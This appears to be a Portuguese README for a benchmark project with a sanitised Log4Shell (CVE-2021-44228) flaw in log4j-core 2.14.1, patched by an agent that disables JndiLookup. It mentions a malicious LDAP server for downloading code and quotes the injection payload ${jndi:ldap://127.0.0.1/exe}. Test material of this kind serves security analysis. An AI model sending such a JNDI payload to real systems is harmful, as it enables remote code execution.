
projeto web jee com a vulnerabilidade log4shell (CVE-2021-44228) sanitizada
Este é um projeto web simples com uma vulnerabilidade log4shell sanitizada. Para uma versão não sanitizada, veja https://github.com/scabench/l4j-tp1/.
O projeto define um simples serviço get scabench.HelloWorldService que retorna uma string de texto simples hello world.
O serviço não espera parâmetros e, se forem encontrados parâmetros, um erro
é registado.
A dependência vulnerável é org.apache.logging.log4j:log4j-core:2.14.1, a vulnerabilidade é CVE-2021-44228.
O projeto usa um agente desenvolvido pela Amazon quando log4shell surgiu e nenhum patch estava disponível.
O agente irá desativar a classe vulnerável org.apache.logging.log4j.core.lookup.JndiLookup.
A utilização do agente é imposta ao instalar (também conhecido como anexar) o agente dinamicamente quando scabench.HelloWorldService é carregado (no bloco estático da classe),
se isso falhar, a aplicação falha. Isto requer que a JVM permita a auto-anexação do agente.
export MAVEN_OPTS="-Djdk.attach.allowAttachSelf=true"mvn jetty:runjava -jar dodgy-ldap-server.jar (o código vulnerável irá descarregar código Java deste servidor)http://localhost:8080/, este site contém um formulário pré-preenchido com um payload malicioso ${jndi:ldap://127.0.0.1/exe}foo no servidor (como a versão não sanitizada) faz)Note que ao executar a aplicação, a seguinte linha aparece na consola:
Transforming org/apache/logging/log4j/core/lookup/JndiLookup .
Isto requer unix ou macos. É fácil portar este projeto para windows. É fornecido um teste unitário para demonstrar a vulnerabilidade; a configuração é a mesma usada em https://github.com/scabench/l4j-tp1/. Devido à sanitização, o teste agora falha.
Existem vários scripts sh para executar diferentes análises; os relatórios de resultados podem ser encontrados em scan-results.
O pom.xml tem um plugin para gerar um SBOM no formato CycloneDX.
Para isso, execute mvn cyclonedx:makePackageBom; o SBOM pode ser encontrado em
target/ nos formatos json e xml.